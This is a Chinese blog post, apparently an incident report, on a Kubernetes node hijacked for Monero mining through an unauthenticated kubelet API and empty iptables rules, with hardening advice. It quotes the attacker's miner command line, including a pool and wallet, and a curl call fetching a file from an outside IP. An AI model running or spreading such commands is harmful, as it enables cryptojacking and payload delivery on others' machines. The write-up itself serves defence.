近期遇到了一次我们自建 Kubernetes 集群中某台机器被入侵挖矿,后续也找到了原因,所幸只是用来挖矿…

网络安全是个严肃的问题,它总是在不经意间出现,等你反应过来却已经迟了。希望各位读者看完后也有所启发,去检查及加固自己的集群。

入侵现象

检查到某台机器中出现了异常进程

./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm
curl -s http://45.9.148.35/scan_threads.dat

简单来讲,就是我们的机器被用来挖矿了…

问题出现后,我们第一时间关闭了docker,其实应该隔离下环境, 把挖矿程序dump下来,以便后续分析。

具体原因排查

iptables为空

出现了异常进程,肯定是被入侵了,我首先看的是 iptables 。果不其然,机器上的 iptables 规则是空的,意味着这台机器在裸奔。

kubelet裸奔

内部同事提出了有可能是 kubelet 被入侵的问题,检查过其他组件后,开始检查 kubelet 组件

最后检查到 kubelet 日志中有异常:

kubelet设置不当

确认入侵问题,kubelet 参数设置错误,允许直接访问 kubelet 的 api

发现是 kubelet 的启动项中,该位置被注释掉:

然后文件中禁止匿名访问的配置没有读取

该项配置是由于我操作不当注释掉的

由于是新增加的机器,当晚就发现了问题,整个集群是我在管理的,我跟随着一起排查,所以很快就找到了原因,当晚我就把其他机器中的配置项重新扫了一遍,假如它们的防火墙失效了,也会有类似的入侵情况发生,还好此次事件控制在1台机器中。

改进方案

其实该问题理论上讲是可以避免的,是因为出现了多层漏洞才会被有心人扫到,我从外到内整理了一下可能改进的策略。

  1. 机器防火墙设置,机器防火墙是整个系统最外层,即使机器的防火墙同步失败,也不能默认开放所有端口,而是应该全部关闭,等待管理员连接到tty终端上检查。

  2. 使用机器时,假如机器不是暴露给外部使用的,公网IP可有可无的时候,尽量不要有公网IP,我们的机器才上线1天就被扫描到了漏洞,可想而知,公网上是多么的危险

  3. 使用kubelet以及其他系统服务时,端口监听方面是不是该有所考量?能不能不监听 0.0.0.0,而是只监听本机的内网IP。

  4. 使用kubelet以及其他程序,设计或是搭建系统时, 对于匿名访问时的权限控制, 我们需要考虑到假如端口匿名会出现什么问题,是否应该允许匿名访问,如果不允许匿名访问,那么怎么做一套鉴权系统?

  5. 系统管理员操作时,是否有一个比较规范化的流程,是不是该只使用脚本操作线上环境? 手动操作线上环境带来的问题并不好排查和定位。
    我这里不是抛出疑问,只是想告诉大家,考虑系统设计时,有必要考虑下安全性。

总结

发生了入侵事件后,同事开玩笑说,还好没其他经济损失,要不我可能要回家了。作为集群的管理员,只有自己最清楚问题的严重程度。从本质上来讲,问题已经相当严重了。入侵者相当于拥有了机器上docker的完整控制权限。如果读者有读过我关于docker系列的内容,就对权限上了解清楚了。

因为此次事件的发生,不只是我,还有SA的同学基本都被diao了一遍,心里还是有点难受的,希望大家能对网络安全问题有所重视,从加固防火墙开始,避免监听不必要的端口,这两项至少是最容易实现的。

记一次 Kubernetes 集群被入侵,服务器变矿机相关推荐

  1. 记一次 Kubernetes 集群 Pod Eviction 问题排查过程

    声明: 本博客欢迎转发,但请保留原作者信息! 新浪微博:@Lingxian_kong; 微信公众号:飞翔的尘埃; 内容系本人学习.研究和总结,如有雷同,实属荣幸! 现象:一个普通的 k8s 集群,3 ...

  2. [转]记一次linux(被)入侵,服务器变矿机~

    0x00 背景 周一早上刚到办公室,就听到同事说有一台服务器登陆不上了,我也没放在心上,继续边吃早点,边看币价是不是又跌了.不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对 ...

  3. 记一次Linux被入侵,服务器变“矿机”全过程

    周一早上刚到办公室,就听到同事说有一台服务器登陆不上了,我也没放在心上,继续边吃早点,边看币价是不是又跌了. 不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对外恶意发包. ...

  4. 大规模场景下 kubernetes 集群的性能优化

    一.etcd 优化 1.etcd 采用本地 ssd 盘作为后端存储存储 2.etcd 独立部署在非 k8s node 上 3.etcd 快照(snap)与预写式日志(wal)分盘存储 etcd 详细的 ...

  5. 使用VirtualBox【四步】搭建Kubernetes集群(2023-02-13)

    文章内容: 使用VirtualBox.Containerd.Kubeadm等在本地搭建一个用于测试的3节点Kubernetes集群. 搭建过程中踩过的坑以及解决方案说明. 搭建环境:MacOS Mon ...

  6. 如何让Kubernetes集群生产可用?

    图片来源:veer 本文作者 Steven Wong (VMware) Michael Gasch (VMware) 文章翻译 Karen Lee 文章来源 K8S技术社区 原文链接 https:// ...

  7. 通过 Kubeflow 实例瞄准 Kubernetes 集群的密币挖掘攻击

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士 本周二,网络安全研究员披露了针对 Kubeflow 部署的大规模攻击活动,目的是运行恶意密币挖掘容器. 这次攻击活动涉及在Kubernet ...

  8. Kubernetes集群搭建以及基本使用【具详细】;

    文章目录 前言 一.有了docker为什么还需要k8s 二.K8s介绍.集群架构.服务器配置推荐 1.kubernetes是什么 2.Kubernetes集群架构与组件 3.生产环境部署K8s的两种方 ...

  9. 云原生|kubernetes|kubernetes集群升级+证书更新(Ubuntu-18.04+kubeadm)

    前言: kubernetes集群根据部署手法来分类,一般是两种,一种是基于kubeadm搭建的集群,一种是二进制方式搭建的集群.那么,二进制集群升级和证书更新就完全是手动处理了,而kubeadm的集群 ...

最新文章

  1. python显示range_python中range如何输出
  2. window.onload事件
  3. 计算机二级选择题考word基础知识吗,计算机二级ms office只考选择题吗?好考吗
  4. 期待人工智能在合作时的表现
  5. 流量计算机组成keypad,曾经的我
  6. opc服务器协议gsd,S7-300如何通过GSD文件实现PROFIBUS DP主从通讯
  7. 阿贝尔分部求和法的应用(二)
  8. Python 爬取每日北上资金数据
  9. 蓝桥杯 单片机 决赛 第7届 电压、频率采集设备
  10. ssh连接Linux机器一直让输入密码
  11. 怎么检测计算机硬件损坏,笔记本硬件检测 电脑硬件损坏检测工具
  12. fr4速度 微带线_微带线和带状线(microstrip and stripline)
  13. 无码系列5.1 代码重构 消除重复代码
  14. 我是痛恨虚伪的人、极其的痛恨,我力求自己做一个 真正纯粹和真实的人
  15. 后台服务器CPU使用率高 问题分析方法
  16. 【小猪佩奇漫画】| 复杂度分析原来那么简单!
  17. android 应用标识,App应用唯一标示码
  18. C# 3Des加密解密
  19. Mac OS X应用程序下的主要文件夹
  20. 关于通过外网连接内网SQL Server服务器的方法!

热门文章

  1. ASP.NET Web Pages – 文件简介
  2. 使用Nginx搭建前端静态服务器+文件服务器
  3. 【MySQL】Java中的 JDBC 编程
  4. P3806 【模板】点分治1
  5. [CQOI2010]扑克牌
  6. 图论 ---- C. Nastya and Unexpected Guest(图上最短路dp + 01bfs)
  7. raid模式_基于网络的磁盘热备技术|网络RAID-1
  8. 论电子计算机在审计中的应用,计算机技术在审计中的应用领域分析.doc
  9. 语音合成android代码,百度 TTS 语音合成-Android
  10. 7 12次c语言上机作业,第十二次C语言上机实验参考答案